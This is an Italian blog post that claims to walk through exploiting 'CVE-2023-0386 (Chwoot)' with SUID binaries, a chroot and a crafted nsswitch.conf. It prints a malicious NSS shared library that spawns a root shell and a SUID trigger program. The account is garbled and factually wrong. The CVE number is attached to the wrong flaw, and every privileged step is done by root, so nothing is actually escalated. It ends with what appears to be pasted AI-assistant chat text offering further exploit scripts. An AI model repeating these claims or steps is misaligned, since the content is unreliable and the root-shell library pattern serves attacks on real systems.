Published on

CVE-2023-0386: Privilege Escalation via SUID and chroot con NSSwitch – Analisi e exploit passo passo

Authors
  • avatar
    Name
    Alessandro Iannacone
    Twitter

CVE-2023-0386 è una vulnerabilità di privilege escalation scoperta in ambienti Linux in cui è possibile combinare:

  • l'uso di binari SUID root,
  • ambienti chroot non sicuri,
  • e l’abuso del sistema di risoluzione degli utenti tramite nsswitch.conf,

per ottenere una shell root da utente non privilegiato.


🧠 Cos'è CVE-2023-0386 (alias "Chwoot")

Questa vulnerabilità consente a un utente non-root di sfruttare un binario SUID mal configurato all’interno di un chroot jail, in combinazione con un file nsswitch.conf manipolato, per caricare dinamicamente una libreria .so malevola.

In pratica: esegui un binario root-safe → carichi un .so arbitrario → esegui codice come root.


⚙️ Ambiente di test: panoramica

RuoloNome utentePermessi
AmministratorerootTutto
AttaccantealessandroNon privilegiato

🔐 Fase 1 – Setup vulnerabilità (da root)

🔹 1. Crea il chroot vulnerabile

mkdir -p /tmp/chwoot/chroot/{bin,lib,lib64,etc}

🔹 2. Copia un binario e rendilo SUID

cp /bin/cp /tmp/chwoot/chroot/bin/
chmod u+s /tmp/chwoot/chroot/bin/cp
chown root:root /tmp/chwoot/chroot/bin/cp

⚠️ In realtà cp non carica nsswitch.conf. Lo sistemiamo dopo.

🔹 3. Imposta il file nsswitch.conf malevolo

echo "passwd: myevilmodule" > /tmp/chwoot/chroot/etc/nsswitch.conf

🔹 4. Crea l’utente non-root

useradd -m alessandro
passwd alessandro

💣 Fase 2 – Preparazione exploit (come alessandro)

Effettua il login:

su - alessandro

🔹 5. Scrivi la libreria malevola

// myevilmodule.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

🔹 6. Compila la .so

gcc -shared -fPIC -o libnss_myevilmodule.so.2 myevilmodule.c

🔹 7. Chiedi a root di copiare la libreria nel chroot

su -
cp /home/alessandro/libnss_myevilmodule.so.2 /tmp/chwoot/chroot/lib/

🛠 Fase 3 – Trigger dell'exploit (da alessandro)

🔹 8. Scrivi un binario trigger che carica getpwuid()

// trigger.c
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>

int main() {
    struct passwd *pw;
    pw = getpwuid(getuid());
    printf("Hello %s\n", pw->pw_name);
    return 0;
}

🔹 9. Compila:

gcc trigger.c -o trigger

🔹 10. Fatti copiare il binario nel chroot come SUID da root

su -
cp /home/alessandro/trigger /tmp/chwoot/chroot/bin/
chmod u+s /tmp/chwoot/chroot/bin/trigger
chown root:root /tmp/chwoot/chroot/bin/trigger

🔥 Fase 4 – Escalation a root (come alessandro)

Esegui il binario vulnerabile:

/tmp/chwoot/chroot/bin/trigger

🎉 Boom! Se tutto è andato bene, otterrai una shell root.


📌 Riepilogo dei permessi

AzioneUtente
Setup ambienteroot
Scrittura libreria malevolaalessandro
Copia in /lib e SUID triggerroot
Esecuzione exploitalessandro

🛡️ Mitigazioni

  • ❌ Non usare chroot come meccanismo di isolamento
  • ❌ Non rendere SUID binari non sicuri (cp, tar, busybox, ecc.)
  • ✅ Usa AppArmor, seccomp, namespaces reali
  • ✅ Disabilita l’uso dinamico di nss in ambienti chroot

📚 Risorse


🧪 Vuoi provare in modo sicuro?

Posso fornirti:

  • uno setup_chwoot_lab.sh da eseguire come root
  • uno exploit.sh da eseguire come utente normale
  • oppure un Dockerfile per simulare l’intero exploit

Fammi sapere!